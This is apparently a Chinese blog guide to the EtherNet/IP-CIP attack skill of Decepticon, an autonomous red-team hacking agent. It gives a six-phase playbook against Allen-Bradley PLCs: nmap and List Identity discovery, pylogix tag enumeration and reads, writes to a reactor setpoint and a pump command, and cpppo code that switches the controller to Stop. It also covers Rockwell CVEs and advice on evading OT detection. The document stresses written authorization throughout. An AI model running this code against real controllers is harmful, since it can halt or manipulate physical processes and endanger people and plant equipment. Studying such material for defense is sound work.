【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载本指南基于 Decepticon 仓库中 enip-cip 技能文档 编写系统讲解针对北美工业控制系统ICS/OT最主流协议 EtherNet/IP 与 CIP 的完整攻击方法论从 UDP 2222 的 List Identity 广播发现、TCP 44818 上的无认证标签库枚举、过程变量读写到 CIP 模式切换Stop/Run与历史 Rockwell 认证绕过漏洞利用。读者将掌握一套可直接投入实战的六阶段攻击流程Discover → Enumerate → Read → Write → Mode Change → CVE Exploitation理解 Decepticon 中该技能如何被技能中间件按需加载、被 RoE 门控中间件约束以及如何将攻击结果以知识图谱节点kg_add_node和 ZFP 双方法证据的形式固化到交战记录中。技能定位Decepticon 中的 ICS 攻击专门技能enip-cip是 Decepticon 标准技能包standard bundle中 ics-ot 域 下的子技能与modbus、dnp3、s7comm、bacnet、opcua、profinet并列。其 frontmatter 给出了技能触发与约束元数据name: enip-cip description: EtherNet/IP CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol. allowed-tools: Bash Read Write metadata: when_to_use: ethernet/ip ethernetip enip cip 44818 2222 allen-bradley rockwell controllogix compactlogix pylogix cpppo plc tag list-identity forward-open subdomain: ics-ot tags: enip, cip, ethernet-ip, plc, ics, ot, allen-bradley, rockwell mitre_attack: T0855, T0836, T0816, T0814这套元数据并非摆设Decepticon 的 SkillsMiddleware 会把技能按subdomain分组渲染进系统提示词并展示mitre_attack技术 ID 与when_to_use触发关键词当 Agent 当前目标与触发器匹配时必须通过load_skill()按需加载完整 SKILL.md 正文再开始行动——这就是文档中强调的SKILL-FIRST RULE技能优先规则存在专门技能时禁止凭通用记忆操作。与此同时skill_audit 规则 把subdomain与when_to_use列为必需元数据任何缺失这两项的技能都会在审计中报R-missing-required违规。在 Agent 编排层面该技能由 ics_operator.py 中的IcsOperator子代理消费。该代理是标准包中最高风险专家其构造代码明确要求任何主动交互前必须先通过硬性 Rules-of-EngagementRoE授权门默认将每台设备视为生产设备并把写入/控制类操作严格限定在实验环境或已授权 canary 设备内。它的工具面包括kg_add_node、kg_add_edge、kg_query、cve_lookup以及整套 Bash 工具为本文后续的证据落地与漏洞核查提供了实现支撑。安全红线写入与控制类操作的授权边界技能文档开篇即给出SAFETY FIRST警示这是整本手册不可逾越的前提CIP 写入操作对标签的Write()和模式切换命令Stop、Run、Reset会影响物理过程设备。将模式切换为Stop会立即停止 PLC 程序——受控过程传送带、电机、泵、阀门会进入失效安全状态或断电。任何写入/控制类操作都必须先确认书面范围授权。读取和枚举操作标签列表、控制器信息、身份是安全的。这句话的工程含义需要结合 Decepticon 的强制机制来理解。技能文档描述的授权边界在代码层面由 RoE 中间件 强制执行bash、http_request等网络/执行类工具全部位于GATED_TOOL_NAMES每次调用都会对照workspace/plan/roe.json中的machine_enforcement规则做目标范围校验即使解析层偶有漏判沙箱的网络出口middleware/egress.py的 DNS 白名单 nftables 连接白名单也会作为第二道防线拦截数据包——同一份范围定义、两个强制点。更重要的是每一次决策包括 PASS 与 REFUSE都会写入 HMAC 链式审计账本RoEAuditSink形成Agent 尝试了什么、被批准了什么、被拦截了什么的完整法律记录这正是付费/受监管交战项目结案报告的关键工件。当machine_enforcement块缺失时中间件退化为modeaudit只记录不拦截。对读者而言的实操结论是Phase 1–3发现、枚举、读取默认安全可直接执行Phase 4 写入与 Phase 5 模式切换必须先行确认书面范围授权且任何控制类动作都会在 PLC 事件日志与 Decepticon 审计账本中留下持久痕迹。环境准备工具链安装与端口画像# Install pylogix (Allen-Bradley EtherNet/IP client) pip install pylogix # Install cpppo (Rockwell EtherNet/IP / CIP toolkit) pip install cpppo # nmap EtherNet/IP scripts # Built-in: enip-info.nse (ships with Nmap 7.80) nmap -p 44818 --open -sV 10.0.0.0/24两个 Python 库分工明确pylogix是 Allen-Bradley 专用的 EtherNet/IP 客户端提供面向标签的Read/Write/GetTagList高级 APIcpppo是更底层的 Rockwell EtherNet/IP / CIP 工具包适合手工构造 CIP 显式消息如模式切换。Nmap 自带的enip-info.nse脚本Nmap ≥ 7.80可在 TCP 44818 上完成无认证的设备信息采集。端口画像是识别协议的第一依据。Decepticon 的 ics-ot 路由技能 给出了 ICS 协议指纹对照EtherNet/IP CIP 的特征端口是TCP 44818 与 UDP 2222线格式为 ENIP 封装头快速指纹扫描可一次性覆盖常见协议nmap -sV -p 102,502,20000,44818,4840 --script*ics*,*scada*,modbus-discover,s7-info,dnp3-info,bacnet-info,enip-info 10.0.0.0/24值得注意的行业背景技能文档中的项目事实EtherNet/IP 是北美主导的 ICS 协议——几乎所有 Allen-Bradley ControlLogix、CompactLogix、MicroLogix 出厂默认启用该协议且CIP 层普遍没有任何认证。只要网络可达 TCP 44818攻击者通常就能读取完整标签库在授权范围内还能写入过程变量或改变 PLC 执行状态。这正是本手册六阶段流程的技术根基。Phase 1 — 发现UDP 2222 List Identity 广播与设备指纹UDP 2222 承载 ENIP 的 List Identity 命令——无需会话、无需认证。向子网广播地址发送后所有 EtherNet/IP 设备都会响应供应商 ID、产品名、序列号、固件版本与 IP 地址。# Using cpppo enip command-line python3 -m cpppo.server.enip.list_identity 10.0.0.255 # Or unicast: python3 -m cpppo.server.enip.list_identity 10.0.0.5 # Example output: # {product_name: ControlLogix5580, vendor_id: 1, device_type: 14, # product_code: 166, revision: {major: 33, minor: 11}, # serial_number: 0xA1B2C3D4, status: 12340}TCP 44818 上同样可以无认证获取设备属性# nmap enip-info script (TCP 44818) nmap -p 44818 --script enip-info 10.0.0.5 # Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, Statepylogix 也提供对应的应用层封装# pylogix PLC info — TCP 44818 from pylogix import PLC with PLC() as comm: comm.IPAddress 10.0.0.5 info comm.GetPLCTime() print(PLC time:, info.Value) props comm.GetModuleProperties(0) print(Module:, props.Value)从 Decepticon 的编排视角看这一阶段产出的设备型号与固件版本会直接决定后续战术识别出ControlLogix5580后即可对照 Phase 6 的 CVE 表判断其是否落入已知漏洞版本区间如 CVE-2023-3595 影响的固件 ≤ 33.011。仓库中的 cve_lookup 工具 会按 NVD EPSS CISA KEV 综合评分CVSS 与 EPSS 双高、或进入 KEV 清单的 CVE 会被置顶KEV 成员最低保底 9.0 分帮助 Agent 优先评估真实可被野外利用的漏洞。Phase 2 — 标签库枚举ControlLogix/CompactLogix 的无认证全量读取ControlLogix 与 CompactLogix 通过 CIP 符号段读取symbolic segment reads将整个控制器标签库暴露出来无需任何认证包含标签名、数据类型、维度与访问属性from pylogix import PLC with PLC() as comm: comm.IPAddress 10.0.0.5 # Enumerate all controller-scoped tags tags comm.GetTagList() print(f[*] Found {len(tags.Value)} controller tags) for tag in tags.Value: print(f {tag.TagName:40} Type{tag.DataType:20} Dim{tag.Dimensions}) # Enumerate program-scoped tags (programs inside the controller) programs comm.GetProgramList() for prog in programs.Value: prog_tags comm.GetProgramTagList(prog) print(f\n[*] Program {prog}: {len(prog_tags.Value)} tags) for tag in prog_tags.Value: print(f {prog}:{tag.TagName:36} Type{tag.DataType})生产环境中的标签名通常高度自描述枚举结果本身就是高价值情报PumpStation_1.RunCmd— 泵运行指令线圈BOOLValve_FV_101.OpenCmd— 阀门开启指令Reactor_TIC_201.SP— 温度设定值Safety_SIL2.BypassActive— 安全联锁旁路标志这一步对应 MITRE ATTCK 的 T0855未经授权的命令/控制——即使不做任何写入仅凭标签库即可获得完整过程变量可见性。枚举结果应第一时间落地为知识图谱节点见证据落地一节方便后续攻击链规划复用。Phase 3 — 标签读取单值、批量与数组读取是纯信息收集操作默认在安全范围内from pylogix import PLC with PLC() as comm: comm.IPAddress 10.0.0.5 # Read a single tag result comm.Read(PumpStation_1.RunCmd) print(fPumpStation_1.RunCmd {result.Value} (Status: {result.Status})) # Read multiple tags in one request (efficient) tag_list [ Reactor_TIC_201.SP, Reactor_TIC_201.PV, Valve_FV_101.OpenCmd, Safety_SIL2.BypassActive, ] results comm.Read(tag_list) for r in results: print(f {r.TagName} {r.Value} Status{r.Status}) # Read array elements array_result comm.Read(RecipeArray[0], 10) # read 10 elements from index 0 print(Recipe[0:10]:, array_result.Value)Read()的批量形式在一次请求中读取多个标签相比逐个读取显著降低网络往返次数——这既是效率优化也是 OPSEC 考量高频轮询如紧凑循环内读完全部标签会被流量监控识别为异常而批量、有间隔的读取更接近正常 SCADA 轮询特征详见 OPSEC 一节。Phase 4 — 标签写入安全门必须先行获得写入类授权STOP. 进入本阶段前先确认书面范围授权。写入过程控制标签可能立即对执行机构通电/断电。from pylogix import PLC # Write a BOOL tag with PLC() as comm: comm.IPAddress 10.0.0.5 # Example: write a setpoint — requires authorization result comm.Write(Reactor_TIC_201.SP, 85.0) print(fWrite SP: {result.Status}) # Example: write a BOOL control tag — requires authorization result comm.Write(PumpStation_1.RunCmd, 1) print(fWrite RunCmd: {result.Status})写入状态码语义文档中的关键排错信息状态码含义SuccessPLC 已接受写入PathSegmentError标签名错误路径段不匹配ServiceErrorPLC 处于 Program 模式或被禁止执行该服务对应 MITRE ATTCK T0836篡改——写入被接受意味着可直接操纵物理过程。在 Decepticon 的 RoE 框架下这类调用会同时经过范围校验与审计记录未授权即执行属于严重违规。Phase 5 — CIP 模式切换Stop / Run / Reset模式切换是 CIP 对 PLC 执行状态的直接变更Stop会中止梯形图/功能块程序受控过程进入失效安全或断电状态Reset是冷重启。实现上通过 CIP 显式消息完成——使用 Rockwell ControlLogix 的 CIP 服务 0x0FSet Attribute Single目标为 0x01 Identity Object 的实例 1、属性 10Controller State模式值 0x01 Run、0x02 Program即 Stopimport cpppo from cpppo.server.enip import client # CIP explicit messaging to change PLC mode # Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single) # Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State) # Mode: 0x01 Run, 0x02 Program (Stop) def set_plc_mode(ip, mode_val, port44818): mode_val: 0x01 Run, 0x02 Program (effectively Stop) Requires write-class scope authorization. operations [ { method: set_attribute_single, path: 0x01/1/10, data: [mode_val], } ] with client.connector(hostip, portport) as conn: for op in operations: conn.set_attribute_single( pathop[path], dataop[data], ) conn.collect(timeout2) print(fMode change to {mode_val:#04x} sent) # set_plc_mode(10.0.0.5, 0x02) # Stop (Program mode) — halts PLC program # set_plc_mode(10.0.0.5, 0x01) # Runpylogix 也可作为替代入口但需要注意其写入模式的方式是厂商特定的_RunMode标签并非所有固件都存在必须先验证标签存在with PLC() as comm: comm.IPAddress 10.0.0.5 # Some pylogix versions expose: comm.GetPLCTime() # verify connectivity first # comm.Write(_RunMode, 0) # vendor-specific; verify tag exists first对应 MITRE ATTCK T0816拒绝服务。OPSEC 上必须知道模式切换命令会在 PLC 事件日志RSLogix Diagnostics General Fault中生成事件且跨断电周期持久保留——这不是静默操作且无法从 CIP 层抹除。Phase 6 — 历史 Rockwell 认证绕过 CVE 与补丁核查技能文档整理了一张实战价值极高的历史 CVE 表CVE产品描述CVSSCVE-2021-27478Studio 5000 Logix Designer通过 CIP 消息的未认证远程代码执行10.0CVE-2022-1159Rockwell Automation FactoryTalk通过 DLL 劫持路径的可执行注入7.7CVE-2023-3595ControlLogix 1756固件 ≤ 33.011CIP 服务中的路径遍历未认证固件读/写9.8CVE-2023-3596GuardLogix 1756同一漏洞家族——安全控制器变体9.8CVE-2024-6242ControlLogix 1756CIP Trusted Slot 机制绕过——机架槽位间横向移动8.4其中CVE-2023-3595 / 3596Claroty 团队研究代号 LogiSploit对实战交战最有价值针对未打补丁的 ControlLogix 可实现未认证固件上传/下载。攻击前的补丁核查代码# Firmware version from pylogix with PLC() as comm: comm.IPAddress 10.0.0.5 props comm.GetModuleProperties(0) print(Firmware:, props.Value) # Compare against Rockwell Security Advisory RLSA-2023-0026 # Affected: v33.012 (1756-EN2* family)固件版本判定直接决定漏洞是否可用而固件写入操作是破坏性的——可能直接砖化控制器详见 OPSEC。Decepticon 中该阶段的漏洞核查由cve_lookup工具自动完成评分排序从源码结构看其复合得分融合了 CVSS 基础分、EPSS 概率对数缩放与 CISA KEV 清单成员资格符合真实可利用性优先的武器化筛选逻辑。常见发现与 MITRE ATTCK 映射技能文档为交战报告中的常见发现提供了标准映射表每一条都对应明确的 MITRE 技术 ID 与影响描述发现MITRE影响互联网暴露的 EtherNet/IPShodan: port:44818T0882从互联网直接访问 PLC无 CIP 认证——标签列表可读T0855完整过程变量可见性无认证即接受标签写入T0836直接操纵过程接受 PLC 模式切换StopT0816停产生产线扁平 IT/OT VLAN——办公网直连 PLCT0814从被攻陷工作站横向移动未打补丁的 ControlLogixCVE-2023-3595T0839固件读/写持久化植入可达的安全 PLCGuardLogixT0857操纵安全系统证据落地kg_add_node 写入知识图谱Decepticon 要求所有观察结果持久化到交战知识图谱技能文档给出了标准证据写入模板kg_add_node( kindfinding, labelEtherNet/IP unauthenticated tag access, props{ key: fenip-cip-anon::{target_ip}, protocol: enip-cip, port: 44818, product_name: ProductName, firmware_revision: major.minor, tag_count: len(tags.Value), writable: False, # set True only after confirmed write-scope source: pylogix-taglist, }, )这段代码对应仓库中 kg_add_node 工具 的真实签名kg_add_node(kind, label, props{})。工具内部把kind严格约束为 NodeKind 枚举 中的合法类型Host、Service、Vulnerability、CVE、Finding、Credential、Secret等未知类型直接返回错误并列出合法值props中必须提供确定性key用于去重如enip-cip-anon::10.0.0.5这样同一资产的重复扫描不会产生重复节点。图谱在多次迭代间持久化——本次迭代写入的节点下一次全新上下文的 Agent 依然可以查询这正是攻击链跨轮次衔接的基础设施。ZFP 双方法证据零误报的验收标准技能文档对什么算有效证据定义了严格的 ZFPZero-False-Positive零误报双方法标准pylogix GetTagList()输出——展示标签数量 带数据类型的代表性标签名pylogix Read()对至少一个过程变量的读取结果——展示实时值如温度、压力、电机状态。若写入测试已获授权补充Write()结果显示StatusSuccess并回读确认数值已变更write-read-back 闭环。这套标准与 Decepticon 的 Verifier 插件质量门一脉相承。在 verifier 技能 中每条验证必须提供poc_command复现命令、success_patterns命中漏洞信号的正则、negative_command去掉 payload 的对照命令与negative_patterns良性基线正则若负向对照也命中了成功模式噪声信号validate_finding会直接降级该结果。对 ICS 场景的启示是仅凭读到一个标签值不足以证明漏洞——必须同时证明标签库可完整枚举且过程变量返回实时值才能在报告中形成FINDING节点写入类结论则必须用回读闭环排除写入被静默拒绝的假阳性。OPSEC 与规避注意事项技能文档在收尾阶段给出了四条关键 OPSEC 纪律直接决定交战能否保持在检测阈值之下CIP 层无审计日志标签读取对大多数 OT 安全平台是静默的除非部署了带流级检测的 Nozomi/Claroty NDR网络检测响应设备。读取操作本身隐蔽但流量特征并非不可见。高频轮询可被检测在紧凑循环内反复读取全部标签属于异常流量规模会被识别。枚举读取要有节奏、有间隔地展开。模式切换会在 PLC 事件日志留痕Stop/Program命令在 RSLogix Diagnostics General Fault 中生成事件且跨断电持久保留事后无法清除。交战前先做 Shodan 摸底Shodan 定期索引互联网暴露的 EtherNet/IP正式主动扫描前先针对目标 IP 段搜索port:44818可提前评估暴露程度减少不必要的主动探测。CVE-2023-3595 的 PoC 使用纪律Claroty 发布使用前必须确认固件版本固件写入是破坏性操作可能直接砖化控制器——在任何生产或高价值实验设备上执行前必须反复权衡。参考资料索引技能文档末尾列出的资源按类别整理如下均为公开资料正文不附外部链接pylogixAllen-Bradley EtherNet/IP 客户端pip install pylogix获取、cpppoRockwell EtherNet/IP / CIP 工具包pip install cpppo获取、ODVA 发布的 EtherNet/IP 与 CIP 规范、Claroty Team82 关于 CVE-2023-3595/3596LogiSploit的研究、CVE-2024-6242 Rockwell Trusted Slot 绕过分析、CISA ICS-CERTICS 公告来源发布的 Rockwell 安全公告如 RLSA-2023-0026、S4 会议中 Reid Wightman 关于工业控制系统利用的演讲以及 Shodan 的port:44818检索语法。读者可结合 Decepticon 仓库中的 ics-ot 路由技能 与 enip-cip 完整技能文档 深入研读。赞分享【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载相关推荐Decepticon ICS 实战手册Siemens S7CommTCP/102PLC 攻击方法与安全边界Decepticon ICS 实战手册Siemens S7CommTCP/102PLC 攻击方法与安全边界 本文以 Decepticon 开源仓库中 paSuricata ENIP/CIP 规则关键字完全指南EtherNet/IP 工业协议检测实战Suricata ENIP/CIP 规则关键字完全指南EtherNet/IP 工业协议检测实战 本篇技术指南围绕 Suricata 官方文档 enip key网络安全Decepticon 提示注入攻击 Playbook面向 LLM 应用CWE-1427的侦察、利用与验证实战指南Decepticon 提示注入攻击 Playbook面向 LLM 应用CWE 1427的侦察、利用与验证实战指南 本文是 Decepticon 红队知识库创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考